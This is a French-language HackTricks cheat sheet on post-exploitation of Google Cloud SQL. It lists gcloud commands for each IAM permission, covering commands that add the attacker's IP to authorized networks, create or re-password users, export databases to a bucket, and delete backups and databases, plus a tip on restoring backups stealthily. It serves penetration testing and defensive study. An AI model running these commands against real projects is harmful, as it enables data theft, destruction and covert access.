# GCP - Post-exploitation de Cloud SQL

{{#include ../../../banners/hacktricks-training.md}}

## Cloud SQL

Pour plus d'informations sur Cloud SQL, consultez :

{{#ref}}
../gcp-services/gcp-cloud-sql-enum.md
{{#endref}}

### `cloudsql.instances.update`, ( `cloudsql.instances.get`)

Pour se connecter aux bases de données, vous **avez juste besoin d'accéder au port de la base de données** et de connaître le **nom d'utilisateur** et le **mot de passe**, il n'y a pas d'exigences IAM. Donc, un moyen facile d'accéder, en supposant que la base de données a une adresse IP publique, est de mettre à jour les réseaux autorisés et **permettre à votre propre adresse IP d'y accéder**.
```bash
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet
```
Il est également possible d'utiliser **`--no-backup`** pour **perturber les sauvegardes** de la base de données.

Comme ce sont les exigences, je ne suis pas complètement sûr de ce que sont les permissions **`cloudsql.instances.connect`** et **`cloudsql.instances.login`**. Si vous le savez, envoyez une PR !

### `cloudsql.users.list`

Obtenez une **liste de tous les utilisateurs** de la base de données :
```bash
gcloud sql users list --instance <intance-name>
```
### `cloudsql.users.create`

Cette permission permet de **créer un nouvel utilisateur à l'intérieur** de la base de données :
```bash
gcloud sql users create <username> --instance <instance-name> --password <password>
```
### `cloudsql.users.update`

Cette permission permet de **mettre à jour un utilisateur à l'intérieur** de la base de données. Par exemple, vous pourriez changer son mot de passe :
```bash
gcloud sql users set-password <username> --instance <instance-name> --password <password>
```
### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`

Les sauvegardes peuvent contenir **de vieilles informations sensibles**, il est donc intéressant de les vérifier.\
**Restaurer une sauvegarde** dans une base de données :
```bash
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
```
Pour le faire de manière plus discrète, il est recommandé de créer une nouvelle instance SQL et de récupérer les données là-bas au lieu de dans les bases de données actuellement en cours d'exécution.

### `cloudsql.backupRuns.delete`

Cette permission permet de supprimer des sauvegardes :
```bash
gcloud sql backups delete <backup-id> --instance <instance-id>
```
### `cloudsql.instances.export`, `storage.objects.create`

**Exporter une base de données** vers un Cloud Storage Bucket afin que vous puissiez y accéder depuis là :
```bash
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
```
### `cloudsql.instances.import`, `storage.objects.get`

**Importer une base de données** (écraser) depuis un Cloud Storage Bucket :
```bash
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
```
### `cloudsql.databases.delete`

Supprimer une base de données de l'instance de base de données :
```bash
gcloud sql databases delete <db-name> --instance <instance-id>
```
{{#include ../../../banners/hacktricks-training.md}}
